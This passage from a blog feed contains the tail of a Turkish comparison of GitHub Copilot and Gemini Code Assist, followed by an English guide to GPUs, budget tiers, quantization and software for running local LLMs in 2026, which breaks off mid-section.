&lt;p&gt;Gemini Code Assist'in en b&amp;uuml;y&amp;uuml;k kozu &lt;strong&gt;1 milyon tokenl&amp;inodot;k ba&amp;gbreve;lam penceresidir&lt;/strong&gt;. K&amp;uuml;&amp;ccedil;&amp;uuml;k bir ba&amp;gbreve;lam penceresiyle b&amp;uuml;y&amp;uuml;k bir projede kod yazmaya &amp;ccedil;al&amp;inodot;&amp;scedil;mak, anahtar deli&amp;gbreve;inden oday&amp;inodot; boyamaya &amp;ccedil;al&amp;inodot;&amp;scedil;mak gibidir. Gemini ise monorepo projeleri veya eski sistemleri tek seferde haf&amp;inodot;zas&amp;inodot;na al&amp;inodot;p dosyalar aras&amp;inodot;ndaki ili&amp;scedil;kileri kay&amp;inodot;ps&amp;inodot;z yorumlayabiliyor. Ayr&amp;inodot;ca sonraki d&amp;uuml;zenlemeleri tahmin eden (Next Edit Predictions) yap&amp;inodot;s&amp;inodot; sayesinde kod yazarken olduk&amp;ccedil;a proaktif davran&amp;inodot;yor.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="otonom-ajanlar-kars-karsya-agent-mode_1"&gt;Otonom Ajanlar Kar&amp;scedil;&amp;inodot; Kar&amp;scedil;&amp;inodot;ya: Agent Mode 🤖&lt;a class="headerlink" href="#otonom-ajanlar-kars-karsya-agent-mode" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Y&amp;inodot;l 2026 olmu&amp;scedil;, art&amp;inodot;k sadece otomatik tamamlama kesmiyor; iki asistan&amp;inodot;n da arka planda kendi kendine plan yap&amp;inodot;p terminalde komut ko&amp;scedil;turan ajan (Agent) modlar&amp;inodot; var.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Copilot Agent Mode:&lt;/strong&gt; Tek bir komutla kodu analiz edip, birden fazla dosyada de&amp;gbreve;i&amp;scedil;iklik yap&amp;inodot;p terminalde testleri ko&amp;scedil;turabiliyor. K&amp;uuml;&amp;ccedil;&amp;uuml;k ve s&amp;inodot;n&amp;inodot;rlar&amp;inodot; belli hata &amp;ccedil;&amp;ouml;z&amp;uuml;mleri veya refactoring i&amp;scedil;leri i&amp;ccedil;in &amp;ccedil;ok pratiktir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemini Agent Mode:&lt;/strong&gt; Devasa 1 milyon tokenl&amp;inodot;k haf&amp;inodot;zas&amp;inodot; sayesinde &amp;ccedil;oklu dosya de&amp;gbreve;i&amp;scedil;ikliklerinde daha az hata yap&amp;inodot;yor. Ayr&amp;inodot;ca harici veri kaynaklar&amp;inodot;na ba&amp;gbreve;lanabildi&amp;gbreve;i i&amp;ccedil;in sadece kod taban&amp;inodot;n&amp;inodot;zla s&amp;inodot;n&amp;inodot;rl&amp;inodot; kalm&amp;inodot;yor. Ancak Copilot'un ajan&amp;inodot; piyasada daha uzun s&amp;uuml;redir pi&amp;scedil;ti&amp;gbreve;i i&amp;ccedil;in g&amp;uuml;nl&amp;uuml;k kullan&amp;inodot;mda biraz daha pratik hissettiriyor.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="entegrasyon-ve-ekosistem"&gt;Entegrasyon ve Ekosistem ⚙️&lt;a class="headerlink" href="#entegrasyon-ve-ekosistem" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Edit&amp;ouml;r deste&amp;gbreve;inde Copilot'un y&amp;inodot;llar&amp;inodot;n getirdi&amp;gbreve;i o ezici &amp;uuml;st&amp;uuml;nl&amp;uuml;&amp;gbreve;&amp;uuml; h&amp;acirc;l&amp;acirc; devam ediyor. VS Code, JetBrains, Neovim, Visual Studio ve Eclipse gibi neredeyse t&amp;uuml;m pop&amp;uuml;ler edit&amp;ouml;rlerde sorunsuz &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor. Ayr&amp;inodot;ca GitHub platformuyla yerel entegrasyonu sayesinde PR &amp;ouml;zetleri &amp;ccedil;&amp;inodot;karma veya kod incelemeleri yapma s&amp;uuml;re&amp;ccedil;leri &amp;ccedil;ok ba&amp;scedil;ar&amp;inodot;l&amp;inodot;. E&amp;gbreve;er yerel bir kod modelini VS Code ortam&amp;inodot;na do&amp;gbreve;rudan ba&amp;gbreve;lamak isterseniz &lt;a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Yerel AI Kurulum Rehberi&lt;/a&gt; yaz&amp;inodot;m i&amp;scedil;inizi olduk&amp;ccedil;a kolayla&amp;scedil;t&amp;inodot;racakt&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Gemini ise VS Code ve JetBrains d&amp;inodot;&amp;scedil;&amp;inodot;nda bir yere hen&amp;uuml;z resmi olarak yay&amp;inodot;lm&amp;inodot;&amp;scedil; de&amp;gbreve;il. Ancak g&amp;uuml;c&amp;uuml;n&amp;uuml; Google Cloud Platform (GCP) entegrasyonundan al&amp;inodot;yor. E&amp;gbreve;er projeniz Firebase, BigQuery, Cloud Run veya Apigee &amp;uuml;zerinde ko&amp;scedil;uyorsa; Gemini bulut altyap&amp;inodot;n&amp;inodot;z&amp;inodot; do&amp;gbreve;rudan sorgulay&amp;inodot;p altyap&amp;inodot;n&amp;inodot;za en uygun kodlar&amp;inodot; &amp;uuml;retebiliyor.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="performans-karslastrma-tablosu"&gt;Performans Kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rma Tablosu&lt;a class="headerlink" href="#performans-karslastrma-tablosu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;&amp;Ouml;zellik&lt;/th&gt;
&lt;th style="text-align: left;"&gt;GitHub Copilot Pro&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Gemini Code Assist Standard&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Bireysel Fiyat&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;~$10 / Ay (460 TL)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;~$19 / Ay (870 TL)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&amp;Uuml;cretsiz S&amp;uuml;r&amp;uuml;m&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2k tamamlama / Ay&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6k istek / G&amp;uuml;n&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Model Se&amp;ccedil;imi&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Claude Sonnet, GPT-4o, o1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gemini 2.5 Pro / Flash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ba&amp;gbreve;lam Penceresi&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Projeye g&amp;ouml;re indeksleme&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1 Milyon Token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;IDE Deste&amp;gbreve;i&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;Ccedil;ok geni&amp;scedil; (Neovim dahil)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;VS Code ve JetBrains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Bulut Entegrasyonu&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Yok&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Derin Google Cloud Entegrasyonu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Fikri M&amp;uuml;lkiyet Korumas&amp;inodot;&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Var (Microsoft IP Indemnity)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Sadece Enterprise plan&amp;inodot;nda var&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="kafan-karstysa-hangisini-secmelisin"&gt;Kafan Kar&amp;inodot;&amp;scedil;t&amp;inodot;ysa: Hangisini Se&amp;ccedil;melisin?&lt;a class="headerlink" href="#kafan-karstysa-hangisini-secmelisin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;B&amp;uuml;t&amp;ccedil;e ve Bireysel Kullan&amp;inodot;m:&lt;/strong&gt; Ayda sadece 10 dolar &amp;ouml;deyerek en iyi modellere (&amp;ouml;zellikle Claude 3.5 Sonnet) eri&amp;scedil;mek istiyorsan&amp;inodot;z Copilot Pro &amp;scedil;u an rakipsizdir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;B&amp;uuml;y&amp;uuml;k Kod Tabanlar&amp;inodot;:&lt;/strong&gt; Monorepo veya birbirine ba&amp;gbreve;&amp;inodot;ml&amp;inodot; onlarca klas&amp;ouml;rden olu&amp;scedil;an b&amp;uuml;y&amp;uuml;k projelerle u&amp;gbreve;ra&amp;scedil;&amp;inodot;yorsan&amp;inodot;z, Gemini'nin 1 milyon tokenl&amp;inodot;k haf&amp;inodot;zas&amp;inodot; hayat kurtar&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Cloud Kullan&amp;inodot;c&amp;inodot;lar&amp;inodot;:&lt;/strong&gt; Altyap&amp;inodot;n&amp;inodot;z Google Cloud &amp;uuml;zerindeyse Gemini'nin entegrasyonlar&amp;inodot; sayesinde ba&amp;scedil;ka bir ara&amp;ccedil; aramaya gerek kalmaz.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Uzun laf&amp;inodot;n k&amp;inodot;sas&amp;inodot;, e&amp;gbreve;er b&amp;uuml;t&amp;ccedil;en k&amp;inodot;s&amp;inodot;tl&amp;inodot;ysa veya Google Cloud ekosisteminde de&amp;gbreve;ilsen, ayl&amp;inodot;k 460 TL (~$10) fiyat&amp;inodot;yla Copilot Pro &amp;scedil;u anki en mant&amp;inodot;kl&amp;inodot; limand&amp;inodot;r dostum. 🚀&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Model Context Protocol (MCP), yerel veya uzak yapay zeka modellerinin yerel bilgisayar&amp;inodot;n&amp;inodot;zdaki dosyalara, veri tabanlar&amp;inodot;na veya ara&amp;ccedil;lara g&amp;uuml;venli bir protokol &amp;uuml;zerinden eri&amp;scedil;mesini sa&amp;gbreve;layan a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; bir standartt&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;IP Indemnity (Fikri M&amp;uuml;lkiyet G&amp;uuml;vencesi), &amp;uuml;retilen kodlar&amp;inodot;n telif hakk&amp;inodot; ihlali olu&amp;scedil;turmas&amp;inodot; durumunda Microsoft'un m&amp;uuml;&amp;scedil;terisini yasal olarak koruyaca&amp;gbreve;&amp;inodot;n&amp;inodot; taahh&amp;uuml;t etti&amp;gbreve;i bir g&amp;uuml;vencedir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Yazılım"/><category term="github-copilot"/><category term="gemini-code-assist"/><category term="yapay-zeka"/><category term="kod-asistani"/><category term="vscode"/></entry><entry><title>Best GPUs for Local LLMs in 2026: From 2,700 TL Pi to 135,000 TL Beast</title><link href="https://yuceltoluyag.github.io/en/yerel-llmler-icin-en-iyi-gpu-2026/" rel="alternate"/><published>2026-06-04T20:30:00+03:00</published><updated>2026-06-04T20:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/en/yerel-llmler-icin-en-iyi-gpu-2026/</id><summary type="html">&lt;p&gt;We analyze the most logical hardware choices for running models like Llama 4 or Qwen 3.5 on your local system in 2026. A guide from budget setups to beastly workstations.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last night, after the kids fell asleep, in the sweet silence of the house, I sat down at my desk. 💻 As I refreshed my tea and checked the bills for cloud services, I got annoyed. The money I paid to OpenAI and Anthropic APIs just for basic automations, testing, and daily assistant tasks was growing like a mountain. I asked myself: "Y&amp;uuml;cel, we are in the kitchen of this business, why don't we dump all this load onto our own local hardware?"&lt;/p&gt;
&lt;p&gt;Of course, let's be realistic: the computer under our desk cannot compete with those massive data centers in the cloud running models with hundreds of billions of parameters, my friend. 🧠 The power of the cloud will always remain on a completely different level. But our goal is not to build ChatGPT; it is to spin up a satisfying local AI assistant that will get things done and serve as our right hand when coding.&lt;/p&gt;
&lt;p&gt;And you don't even need to dump a mountain of cash for this. Let's look at the hardware options starting from a Raspberry Pi up to professional workstations, VRAM realities, and some handy tricks in 2026.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="bandwidth-and-vram-the-math-side-of-things"&gt;Bandwidth and VRAM: The Math Side of Things 🛠️&lt;a class="headerlink" href="#bandwidth-and-vram-the-math-side-of-things" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The first rule of running AI locally: forget about the CPU's raw processing power. Here, everything revolves around the graphics card's memory size (VRAM) and how fast that memory runs (bandwidth).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;VRAM Capacity:&lt;/strong&gt; The main gateway that decides whether your chosen model will open on your computer at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Memory Bandwidth:&lt;/strong&gt; Determines how fast the model writes back to you, how many tokens it generates per second.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Trying to run a large model with insufficient VRAM is like trying to empty an ocean with a teaspoon. When the card runs out of memory, the system dumps the load onto the computer's main RAM, and from that second on, the speed hits rock bottom.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; The new GDDR7 memory technology in graphics cards or Apple's unified memory architecture in the M-series are the strongest cards in our hand to break this bottleneck.&lt;/p&gt;
&lt;p&gt;Of course, the CPU and system RAM aren't just sitting idle. A fast CPU helps the GPU during the initial prompt processing phase, while the system memory carries the model's memory (KV cache). That's why even if you build a GPU-centric system, it's a must to add at least 32 GB of fast RAM and a modern processor (Ryzen 7000 or Intel 13th gen and up). If you are wondering how to install and configure these hardware components step-by-step, you can check out my detailed guide on &lt;a href="/en/yerel-llm-kurulum-rehberi-2026/"&gt;Self-Hosted LLMs in 2026&lt;/a&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="hardware-tiers-and-budget-friendly-solutions"&gt;Hardware Tiers and Budget-Friendly Solutions 💰&lt;a class="headerlink" href="#hardware-tiers-and-budget-friendly-solutions" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's look closely at the system tiers you can build according to your budget in 2026 and local pricing.&lt;/p&gt;
&lt;h3 id="wallet-safe-entry-level-2700-tl-13800-tl-60300"&gt;Wallet-Safe Entry Level (2,700 TL &amp;ndash; 13,800 TL / $60&amp;ndash;$300)&lt;a class="headerlink" href="#wallet-safe-entry-level-2700-tl-13800-tl-60300" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you want to grasp the logic of AI, play around with small models between 3B-8B (billion parameters), or run simple automations in the background, you don't need to dump big money. Small models of Llama 4 Scout or Qwen 3.5 run smoothly even on surprisingly modest hardware. If you are undecided on which model to choose, my review on &lt;a href="/en/en-iyi-yerel-llm-modelleri-2026/"&gt;Best Local LLM Models in 2026&lt;/a&gt; will guide you.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Raspberry Pi 5 (4GB/8GB):&lt;/strong&gt; Its price around here floats between 5,600 TL and 6,300 TL (on paper it's $60 but you know, taxes and import costs). It's a fun hobby tool to play around with and learn the system, but it can only generate about 1-2 words per second. So you need to be patient. Ideal for small automations that stay on 24/7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intel Arc B580:&lt;/strong&gt; This card, which you can find on Akak&amp;ccedil;e for around 12,000 TL, pulls off a big surprise by offering 12 GB of VRAM. Thanks to Intel's oneAPI support, you can run 7B models surprisingly smoothly.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NVIDIA RTX 4060 (8GB):&lt;/strong&gt; Sold for around 13,700 TL. Its memory is a bit tight at 8 GB, but NVIDIA's CUDA ecosystem is so broad and trouble-free that this is the choice where you'll have the least headache when stepping into AI.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mid-range-priceperformance-beasts-23000-tl-55000-tl-5001200"&gt;Mid-Range: Price/Performance Beasts (23,000 TL &amp;ndash; 55,000 TL / $500&amp;ndash;$1,200)&lt;a class="headerlink" href="#mid-range-priceperformance-beasts-23000-tl-55000-tl-5001200" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is exactly where developers and those who want to integrate this into their daily workflow should look. VRAM that lets you run models without squeezing them too much, and memory bandwidth that won't choke your chat speed, starts in this segment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AMD RX 9070 XT (16GB):&lt;/strong&gt; With its RDNA4 architecture and AMD's finally recovering ROCm support, this card can be found in the 30,000 - 35,000 TL range. A perfect fit for models at the 13B or 14B level.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mac Mini M4 (32GB Unified Memory):&lt;/strong&gt; There is nothing better right now for those who want zero noise on the desk and a low electricity bill. Thanks to Apple's unified memory architecture, it runs 14B and even 32B models with surprising stability. While the base (16GB) model starts around 35,000 TL in Turkey, choosing the 32GB version is a must for AI. That one goes up to about 53,000 TL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;My Secret Formula on the Desk: Second-Hand RTX 3090 + Fast DDR5 RAM:&lt;/strong&gt; Instead of running directly after brand new and most expensive parts, building a smart hybrid system is my favorite method here. In the test system I set up in my study, I paired a clean second-hand RTX 3090 graphics card with high-speed DDR5-8000 memories. Using &lt;code&gt;llama.cpp&lt;/code&gt;, I set the model to load some layers to the graphics card memory (VRAM) and the remaining part that doesn't fit to the fast system memory (RAM). This way, without getting into the cost of a 130,000 TL workstation, I can run massive 70B models at a very reasonable speed for nearly half the price.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="professional-league-those-who-spend-big-and-look-for-beasts-73000-tl-135000-tl-16003000"&gt;Professional League: Those Who Spend Big and Look for Beasts (73,000 TL &amp;ndash; 135,000 TL+ / $1,600&amp;ndash;$3,000+)&lt;a class="headerlink" href="#professional-league-those-who-spend-big-and-look-for-beasts-73000-tl-135000-tl-16003000" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If your goal is to run massive 70B and larger models, handle complex reasoning steps locally, and run entirely custom local agents, you have to throw down the cash for high VRAM and high memory bandwidth.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New Gen Flagship (RTX 5090 / 5080):&lt;/strong&gt; NVIDIA's Blackwell architecture and ultra-fast GDDR7 memories are the peak of this business. The 32 GB VRAM offered by the RTX 5090 unties the tongue of large models. Even though its price hurts in our country due to taxes, this is the address for top performance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dual RTX 3090 Setup:&lt;/strong&gt; A hidden paradise for those who aren't afraid of building a PC and dealing with hardware. Two second-hand RTX 3090s give you a total of 48 GB VRAM. This is still the cheapest way to run 70B models completely in graphics card memory at a massive speed of 15-20 words per second.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mac Studio M4 Ultra (64GB+ Unified Memory):&lt;/strong&gt; The ultimate solution for professionals who say, "I can't deal with opening the PC case, drivers, or dual card heat, let it run out of the box." Its only downside is the deep wound it will leave in the wallet.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="which-tier-is-right-for-you-comparison-table_1"&gt;Which Tier is Right for You? (Comparison Table)&lt;a class="headerlink" href="#which-tier-is-right-for-you-comparison-table" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Tier&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Approximate Budget&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Best F/P Device&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Model Capacity&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ideal Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Entry Level&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2,700 TL &amp;ndash; 13,800 TL&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Intel Arc B580&lt;/td&gt;
&lt;td style="text-align: left;"&gt;3B &amp;ndash; 8B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Learning and Small Agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Mid-Range&lt;/td&gt;
&lt;td style="text-align: left;"&gt;23.000 TL &amp;ndash; 55.000 TL&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RX 9070 XT / M4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;13B &amp;ndash; 34B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Coding and Daily Helper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;70B Hybrid&lt;/td&gt;
&lt;td style="text-align: left;"&gt;~50,000 TL&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2nd Hand 3090 + DDR5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;70B (Quantized)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Custom Reasoning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Professional&lt;/td&gt;
&lt;td style="text-align: left;"&gt;73,000 TL+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 5090 / Dual 3090&lt;/td&gt;
&lt;td style="text-align: left;"&gt;70B+ (Full Speed)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Professional Workflows&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="memory-size-and-quantization-rates"&gt;Memory Size and Quantization Rates 📊&lt;a class="headerlink" href="#memory-size-and-quantization-rates" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Size&lt;/th&gt;
&lt;th style="text-align: left;"&gt;FP16 (Uncompressed)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Q8 (8-bit Quantization)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Q4 (4-bit Quantization)&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Minimum GPU&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;7B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;14-16 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;8-10 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4-6 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 4060 (8GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;13B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;26-30 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;15-18 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;10-14 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RX 9070 (16GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;34B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;68-75 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;38-45 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;20-25 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 3090/4090 (24GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;70B&lt;/td&gt;
&lt;td style="text-align: left;"&gt;140-160 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;75-85 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;35-45 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2x RTX 3090 / RTX 5090&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="software-side-how-are-we-going-to-run-this-hardware"&gt;Software Side: How Are We Going to Run This Hardware? ⚙️&lt;a class="headerlink" href="#software-side-how-are-we-going-to-run-this-hardware" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;No matter how powerful the hardware in your hands is, unless you feed it with the right software, those cards won't be anything more than expensive toys glowing in the case. As of 2026, there are three main tools that serve as our right hand in the local AI world:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://ollama.com/" rel="noopener noreferrer" target="_blank"&gt;Ollama&lt;/a&gt;:&lt;/strong&gt; A lifesaver for developers. Its setup is so easy that it completely makes you forget about dealing with graphics card drivers or model files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank"&gt;LM Studio&lt;/a&gt;:&lt;/strong&gt; The best choice for those who love visual interfaces. Thanks to its Model Context Protocol (MCP) support, it allows local models to communicate securely with your local files. If you want to build your own coding assistant from scratch with VS Code and LM Studio integration, you can check out my &lt;a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Local AI Setup Guide (LM Studio &amp;amp; VS Code)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank"&gt;llama.cpp&lt;/a&gt;:&lt;/strong&gt; This is the engine behind almost all local systems. If you are building your own hybrid system, you will use this tool to manage the balance between graphics card memory and system memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Running the model on the graphics card is as simple as executing this command in the terminal:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="small-tricks-for-squeezing-out-performance"&gt;Small Tricks for Squeezing Out Performance 💡&lt;a class="headerlink" href="#small-tricks-for-squeezing-out-performance" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Don't Skip Quantization:&lt;/strong&gt; Don't try to run models in their uncompressed (FP16) state. While the quality loss in compression formats like Q4_K_M or Q5_K_M is nearly impossible to notice, the speed and memory savings reach incredible levels.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Case Cooling:&lt;/strong&gt; In systems with dual graphics cards or running under high load, your biggest enemy is heat. As cards get hot, they throttle frequencies and your performance drops. So, choose a case with plenty of fans and fresh airflow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Choose Fast System Memory:&lt;/strong&gt; If your budget is tight and you dump part of the model into system RAM, choosing high-speed &lt;strong&gt;DDR5-8000&lt;/strong&gt; memory instead of DDR4 significantly increases the word generation speed.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="so-at-the-end-of-the-day-is-this-adventure-worth-the-money"&gt;So at the End of the Day, Is This Adventure Worth the Money?&lt;a class="headerlink" href="#so-at-the-end-of-the-day-is-this-adventure-worth-the-money" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's do a quick calculation.&lt;/p&gt;
&lt;ul&gt;
